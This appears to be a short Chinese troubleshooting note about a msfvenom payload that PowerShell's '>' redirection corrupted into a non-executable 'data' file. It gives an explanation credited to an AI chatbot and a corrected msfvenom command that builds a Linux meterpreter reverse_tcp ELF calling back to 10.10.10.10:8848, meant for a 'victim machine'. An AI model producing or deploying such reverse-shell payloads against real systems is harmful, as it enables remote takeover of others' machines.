问题
在Jiaosu powershell下生成的payload文件传递给受害机后发现始终无法联通,查看payload文件发现为data类型(file payload)
原因
来自豆包
从 msfvenom 生成 ELF 文件却识别为 data、无法执行的核心原因,是 Windows PowerShell 重定向输出时的编码 / 格式污染 (而非文件完整性 / 架构问题)——PowerShell 的 > 重定向默认会以「文本模式」处理输出,破坏 ELF 二进制文件的原始字节结构,导致文件变成无效的 data 格式。
一、根本原因:PowerShell 文本重定向污染二进制文件
Linux 的 ELF 是纯二进制格式,而 Windows PowerShell 的 > 本质是 Out-File 命令,默认:
- 采用
Unicode/UTF-16编码(而非二进制); - 会自动转换换行符(
\n→\r\n)、添加 BOM 头; - 截断 / 修改非文本字节,直接破坏 ELF 文件的魔数(
0x7f 45 4c 46)和结构。 即便 SHA 值 “一致”,也可能是你在 Windows 本地校验的是被污染后的文件,而非传输到 Linux 后的版本。
解决办法
直接在 Linux 环境生成(推荐,无格式问题)
Windows 下用 cmd.exe 替代 PowerShell 生成
# 打开cmd.exe(非PowerShell),执行以下命令
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=8848 -f elf -o shell_x64.elf
⚠️ 注意:必须用 -o 参数(指定输出文件),而非 > 重定向 ——msfvenom 的 -o 本身就是二进制写入,比重定向更可靠。